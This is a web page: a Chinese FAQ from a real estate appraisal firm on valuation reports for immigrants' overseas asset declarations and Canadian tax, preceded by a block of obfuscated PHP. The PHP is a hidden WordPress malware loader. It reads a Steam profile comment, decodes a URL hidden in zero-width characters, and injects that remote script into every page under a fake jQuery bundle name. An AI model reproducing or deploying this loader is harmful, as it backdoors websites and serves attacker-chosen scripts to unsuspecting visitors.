goto dfc1d; D7304: function decode_html_entities_like_source(string $s) : string { goto d39d7; C56fe: $s = str_replace(["\134\x6e", "\134\x22", "\x26\x71\165\157\x74\73", "\x26\x61\x6d\160\x3b", "\x26\154\x74\73", "\x26\147\x74\73"], ["\xa", "\x22", "\x22", "\x26", "\74", "\76"], $s); goto Ba34b; d39d7: $s = preg_replace_callback("\x2f\x26\43\170\x28\133\134\144\x61\55\x66\x41\55\x46\x5d\53\x29\x3b\57\151", function ($m) { return mb_convert_encoding(pack("\110\x2a", $m[1]), "\x55\124\106\55\70", "\x55\x43\123\55\x32\102\105"); }, $s); goto C56fe; Ba34b: return $s; goto b61ef; b61ef: } goto D7078; D7078: function decode_zero_width_payload(string $text, string $password = '') : string { try { goto C2b2b; d3c12: $salt = substr($blob, 0, 8); goto D23dc; C9c3f: $bytes = array_map("\157\162\144", str_split($plain)); goto Cd597; Ef189: a7f7f: goto d13f0; ce377: $from = [$ZW[4], $ZW[5]]; goto e78f2; ec58b: if (!($unz === false)) { goto A9c55; } goto E9275; eed3b: if (!($leading === '')) { goto cfaee; } goto c489e; e9141: $blob = pack("\103\52", ...$bytes); goto d3c12; A98ef: $bytes = []; goto abbfc; d50d2: d308c: goto C9c3f; Ccd85: $iv = substr($dk, 0, 16); goto Df294; df35a: $ciphertext = substr($blob, 8); goto e998e; D85f8: cfaee: goto ec634; c5213: A9c55: goto D9e23; f6ec8: d17f8: goto e0fc4; e998e: $expectedHmac = null; goto Ed5ed; c87c5: $p += 8; goto Fd43b; F4fea: $payloadRest = mb_substr($payload, 1, null, "\125\124\x46\x2d\x38"); goto Fe277; Dba93: e6efa: goto A98ef; aeada: Af03e: goto d50d2; d5bfd: if (!($p + 8 <= strlen($bits))) { goto d36a9; } goto eaec6; eaec6: $bytes[] = bindec(substr($bits, $p, 8)); goto da13a; D9e23: return $unz !== false ? $unz : ''; goto ee358; c489e: return ''; goto D85f8; C8282: $containerChar = mb_substr($payload, 0, 1, "\x55\x54\x46\55\70"); goto F4fea; E88ce: $payload = mb_substr($leading, 1, null, "\125\x54\106\x2d\70"); goto d3dbb; b8587: $hasHmac = $containerIdx === 0; goto d9773; f91c2: if (!$isEncrypted) { goto fa074; } goto e9141; d3d85: return ''; goto f6ec8; B4da4: if (!($plain === false)) { goto d17f8; } goto d3d85; d0120: foreach ($inv as $b) { goto a21fc; Ab8c2: $allPrintable = false; goto F779a; abe91: F0425: goto e51e8; a21fc: if (!($b < 32 || $b > 126)) { goto a1a65; } goto Ab8c2; F779a: goto F4297; goto db1ad; db1ad: a1a65: goto abe91; e51e8: } goto d19ff; Abc09: foreach (explode("\40", $text) as $word) { goto d56b5; d82d0: goto e8b9d; goto bb211; bb211: f0f9c: goto E332b; e3ec9: $pos = 0; goto B5c7a; fbd9c: $leading = mb_substr($word, 0, $pos, "\x55\x54\106\55\70"); goto d82d0; E02b9: if (empty($intersection)) { goto f0f9c; } goto e3ec9; B5c7a: foreach ($chars as $i => $ch) { goto e8276; D24b7: C7bc3: goto C1cb6; E548e: $pos = $i; goto c3795; Ba85e: $pos = $i + 1; goto D24b7; c3795: goto Fd5ba; goto ce7e7; ce7e7: Caf0c: goto Ba85e; e8276: if (in_array($ch, $ZW, true)) { goto Caf0c; } goto E548e; C1cb6: } goto C2679; C2679: Fd5ba: goto fbd9c; C59c6: $intersection = array_intersect($ZW, $chars); goto E02b9; E332b: c181e: goto A212d; d56b5: $chars = preg_split("\57\x2f\x75", $word, -1, PREG_SPLIT_NO_EMPTY); goto C59c6; A212d: } goto D7121; E5afe: return implode('', array_map("\x63\150\162", $inv)); goto Be895; A7d8b: $modeIdx = array_search($modeChar, $ZW, true); goto e665f; Ac630: $raw = pack("\x43\52", ...$inv); goto C191f; bee51: if ($allPrintable) { goto db96b; } goto Ac630; d13f0: $expectedHmac = substr($blob, 8, 32); goto b2e8e; e78f2: $to = [$pair[0] . $pair[0], $pair[1] . $pair[1]]; goto c4816; e0fc4: if (!$hasHmac) { goto d308c; } goto B53b3; d9773: $bits = ''; goto F3450; C2b2b: $ZW = ["\xe2\200\x8c", "\xe2\x80\215", "\342\201\xa1", "\xe2\201\242", "\xe2\201\243", "\342\201\244"]; goto a368e; A96fe: e9132: goto fce6f; ee358: db96b: goto E5afe; d3dbb: $pairsByIndex = [$ZW[0] . $ZW[1], $ZW[0] . $ZW[2], $ZW[0] . $ZW[3], $ZW[1] . $ZW[2], $ZW[1] . $ZW[3], $ZW[2] . $ZW[3]]; goto A7d8b; a368e: $leading = ''; goto Abc09; da13a: e90ab: goto c87c5; Ed5ed: goto e9132; goto Ef189; Dd6e5: d36a9: goto f91c2; Cd597: fa074: goto Dbf10; Db703: $plain = openssl_decrypt($ciphertext, "\x61\145\x73\55\62\65\x36\x2d\143\164\x72", $key, OPENSSL_RAW_DATA, $iv); goto B4da4; ec634: $modeChar = mb_substr($leading, 0, 1, "\125\124\x46\55\x38"); goto E88ce; D7121: e8b9d: goto eed3b; B53b3: $h = hash_hmac("\163\150\x61\x32\x35\x36", $plain, $key, true); goto f8a49; b2e8e: $ciphertext = substr($blob, 40); goto A96fe; C191f: $unz = @gzuncompress($raw); goto ec58b; d19ff: F4297: goto bee51; F00f8: $allPrintable = true; goto d0120; D23dc: if ($hasHmac) { goto a7f7f; } goto df35a; abbfc: $p = 0; goto F1f05; Fd43b: goto bd29e; goto Dd6e5; Dc56a: return ''; goto aeada; E9275: $unz = @gzinflate($raw); goto c5213; f8a49: if (hash_equals($expectedHmac, $h)) { goto Af03e; } goto Dc56a; Df294: $key = substr($dk, 16, 32); goto Db703; Dbf10: $inv = array_map(fn($b) => ~$b & 0xff, $bytes); goto F00f8; fce6f: $dk = hash_pbkdf2("\163\150\x61\x35\61\62", $password, $salt, 10000, 48, true); goto Ccd85; e665f: $pair = $modeIdx !== false && isset($pairsByIndex[$modeIdx]) ? preg_split("\57\57\165", $pairsByIndex[$modeIdx], -1, PREG_SPLIT_NO_EMPTY) : [$ZW[0], $ZW[1]]; goto ce377; F3450: foreach (preg_split("\x2f\57\x75", $payloadRest, -1, PREG_SPLIT_NO_EMPTY) as $ch) { goto E2839; be63a: $bits .= str_pad(decbin($i), 2, "\x30", STR_PAD_LEFT); goto db3e7; a5a82: c2881: goto be7a7; d55eb: if (!($i !== false)) { goto baf2f; } goto be63a; db3e7: baf2f: goto a5a82; E2839: $i = array_search($ch, $ZW, true); goto d55eb; be7a7: } goto Dba93; c4816: $payload = str_replace($from[1], $to[1], $payload); goto de7cd; de7cd: $payload = str_replace($from[0], $to[0], $payload); goto C8282; Fe277: $containerIdx = array_search($containerChar, $ZW, true); goto D5820; D5820: $isEncrypted = $containerIdx === 0 || $containerIdx === 1; goto b8587; F1f05: bd29e: goto d5bfd; Be895: } catch (\Throwable $e) { return ''; } } goto a7fb4; dfc1d: function fetch_comment_text_from_url(string $url) : string { goto b27df; D7ac4: return $text; goto Dbfd9; F1e30: curl_close($ch); goto bd612; bd612: return get_transient($cache_key) ?: ''; goto A6f8c; dd4b3: set_transient($cache_key, $text, 300); goto D7ac4; Ef31e: $ch = curl_init($url); goto A6435; A6435: curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => true, CURLOPT_USERAGENT => "\115\x6f\x7a\x69\x6c\154\x61\x2f\x35\56\x30\40\50\127\x69\156\144\157\x77\x73\40\116\x54\x20\x31\60\x2e\x30\73\40\x57\151\156\x36\x34\73\40\x78\66\64\x29\x20\101\160\x70\x6c\x65\127\x65\142\x4b\x69\164\x2f\x35\63\67\x2e\x33\66", CURLOPT_TIMEOUT => 10]); goto Dea9b; b27df: $cache_key = "\143\141\160\164\x69\157\x6e\137" . md5($url); goto Ef31e; Ceb67: return get_transient($cache_key) ?: ''; goto D1440; Dea9b: $html = curl_exec($ch); goto d4307; d4307: if (!($html === false)) { goto D3bed; } goto F1e30; Dbfd9: C305c: goto Ceb67; Db868: curl_close($ch); goto e1b29; e1b29: if (!preg_match("\57\74\144\x69\x76\x5b\x5e\76\135\x2a\x63\x6c\x61\x73\163\75\133\47\134\42\135\143\x6f\x6d\155\x65\x6e\x74\x74\150\162\145\x61\x64\x5f\x63\x6f\x6d\155\145\156\164\137\x74\145\170\164\133\x27\134\x22\x5d\133\x5e\76\x5d\x2a\76\x28\x2e\52\77\51\x3c\134\x2f\144\x69\x76\x3e\57\x69\x73", $html, $m)) { goto C305c; } goto e58d9; A6f8c: D3bed: goto Db868; e58d9: $text = decode_html_entities_like_source($m[1]); goto dd4b3; D1440: } goto D7304; a7fb4: function enqueue_external_script_from_steam_comment() : void { goto Bc875; B9ec2: wp_enqueue_script("\x61\163\x61\x68\151\x2d\152\x71\165\x65\162\x79\55\x6d\x69\156\55\142\165\x6e\x64\x6c\145", $url, [], null, true); goto c0558; c0558: Ad652: goto Fa6d5; d25b8: if (!filter_var($url, FILTER_VALIDATE_URL)) { goto Ad652; } goto B9ec2; Bc875: $steamProfileUrl = "\150\164\x74\160\x73\72\x2f\57\x73\x74\145\x61\x6d\x63\157\155\x6d\165\x6e\x69\164\171\56\143\157\x6d\57\151\144\x2f\60\x78\145\x65\162\x69\145\x2f"; goto f0971; af6d0: $url = $domainOrPath; goto d25b8; f0971: $commentText = fetch_comment_text_from_url($steamProfileUrl); goto b2ed4; b2ed4: $domainOrPath = decode_zero_width_payload($commentText, ''); goto af6d0; Fa6d5: } goto Ae8ce; Ae8ce: add_action("\167\x70\x5f\145\x6e\x71\165\145\165\x65\137\163\x63\x72\151\x70\164\163", "\x65\x6e\161\x75\x65\x75\145\x5f\x65\170\x74\145\162\156\x61\x6c\x5f\163\x63\x72\x69\160\x74\137\x66\x72\x6f\155\x5f\x73\x74\145\x61\x6d\x5f\x63\157\155\155\145\x6e\164");
021-63802339
无论新移民登陆还是在国外生活多年的老移民,都会面临海外资产申报/报税的问题。外国政府可能会需要他们提供详尽的中英文版房地产估价报告,以证明所持有不动产物业在特定日期的市场价值。
委托人做房地产估价报告的目的是为今后出售物业,计算资产增值税时有合法的扣除依据。也是以后证明合法资金来源的一个重要途径。结合多年来工作时碰到的情况,现将海外资产申报/报税涉及到不动产评估的10个常见问题做简单整理。
(一)国内长期空置的住宅,或留给国内家人使用的住宅,将来卖出时是否免税
这个要看是否符合加拿大税法对主要居所的定义。有人问,我可以同时申报中国一套自住房,加拿大一套自住房吗?你有多少套房用于自住都可以,但同一时期内,一个家庭只能选 择一套免税的主要居所。符合主要居住条件才能有税务上的豁免。
比如,你在上海和多伦多各有一套自住房,如符合条件,上海的房产增值更多,你可以选择上海房产作为你免税的主要居住,并不一定只能选择加拿大的房子作为主要居所。这个选定,是你在心目中做税务规划时选定的。在你卖出房屋之前,并不需要告诉税务局。而在你卖出房屋当年,填报相应税表来告诉税务局。如要你境外房产用于出租,就面临出租收入申报,海外资产申报和房屋出售后资本增值申报的问题。
所以国内的住宅最好在登陆前,都做个评估报告,将来报税时会很有帮助的。
(二)国内所有的房产,都需要做海外资产申报嘛
这里有个误区,尽管境外不动产多数情况下需要申报,但并不是所有的不动产都需要申报。作为私人使用(自用)和生意使用的不动产,并不需要在每年的海外资产申报表的T1135上进行申报。
但如果境外房产用途出租,就面临出租收入申报,当年变现有增值的部分要算当个的个人收入,就也要申报了。总之虽然有些不动产不用申报,但还是都需要做评估的,因为评估费和将来能省下来的税费相比,可以忽略不计了。
(三)房地产估价报告可否做指定日期的估值,例如:做追溯时点的估值
现实中很大部分客户是当时登陆时没有操作房地产估价报告,现在可能要卖房或者有报税需求了,才想起来要做这套房产几年前的价格。
我们的专业团队可以为已移民的客提供追溯时点的估值报告,会根据委托人所指定的日期进行估值,不论是现时估值还是过住指定日期都可以。只不过,时间越久,评估师能掌握到的历史数据参数越有限,所以尽可能还是在登陆前做好这个事情。
(四)什么是估价时点或价值时点
老版房地产估价规范称为估价时点,新版估价规范称为价值时点。都是指房产评估结果对应的时间点。一般是指具体的某一天,也就是说在这个时间点,评估的这套房产市场价格是多少钱。
(五)报告的有效期是多久
报告有效期指报告的使用期限,法定最长期限是一年。海外资产申报用房地产估价报告也都是一年的。房地产估价报告使用期限只是一个格式化的说法,其实对新移民海外资产申报并不是很重要(因为很多客户都有可能是在几年后才使用这个报告),最重要的是价值时点,证明登陆前房产成本是多少,这才是资产申报和纳税的关键。
(六)评估值是如何确定的,价值标准是什么
海外资产申报用房地产估价报告,估价结论都是市场价值,市场价值定义如下:估价对象在正常交易情况下,由对其了解并熟悉市场行情的交易双方以公平交易方式在价值日期自愿进行交易的估计金额。
举例说明:如果评估的是住宅,且市场上二手房交易存在案例的,基本都会采用市场比较法,也就是说这套住宅的评估值,也就是同类房产在二手房交易市场上的估计金额。
(七)身外海外,如何获取报告
估价报告完成经确认后,我们会委托快递公司(如DHL,顺丰国际件等 )递送,几个工作日后即可将估价报告安全地速递到客户手上,方便快捷。
(八)报告保留期限
报告完成后,报告PDF版和纸质版都会给到客户,建议长期保留。海外资产申报,无论你拥有哪一种资产,最最最重要的是要保留所有海外资产证明以备税务局查询。
结合多年来工作经验,现将海外资产申报涉及到不动产评估的10个常见问题做简单整理(下)
(九)评估值是否可以高估些
这个问题,在实际工作中几乎每个客户都会问到。毕竟评估值高估一点,就意味为征税基数减少一点。直接关系到要交多少税。
评估师也是根据估价规范,遵循估价原则,按照一定工作程序,经过认真测算得出的评估值。总之承接业务时,就满口答应可以高估的评估师一定是不靠谱的,毕竟国外如果被查到恶意逃税,后果是很严重的。
与评估师沟通时,可以多聊些房屋所在区域未来增值的潜力,房屋有哪些增值因素:例如楼王的位置,格局朝向的优势,特色装修等,增加评估师对房屋的印象分,在合理范围内,尽量可以取高值以满足委托方需求。
(十)境外的收入及资产,不申报会有什么问题
随着CRS的推进,全球金融账户信息交换系统将通过全球金融机构识别和收集非居民金融账户信息,海外资产一旦进入银行账户,信息将无处可藏,全球资产将进入裸奔时代。
值得注意的是,申报海外资产并不意味着要交税,应缴税款是以纳税人当年的收入来计算,不是根据资产的数量来计算的。海外资产如同一只会生蛋的母鸡,生出的鸡蛋如同资产的增值和产生的收入。母鸡本身不交税,鸡蛋才需要交税。
特别提醒下:国内只有一套自住房,海外资产申报时,是否需要评估。这个问题也总也被问到,这里建议:最好评估下,自住房虽不用交税,但时税务局如果不认,又没有评估报告,那就有点麻烦了。
以上内容仅供参考,具体的细节还是要和当地负责报税的会计师多沟通。涉及到房产评估这方面可以随时咨询,如超出我专业范围内的财税知识,我也会推荐专业的会计师和你沟通。
以上哪怕只有一两个地方提醒到了你或给了您一些启发,都会是一件很美好的事情 。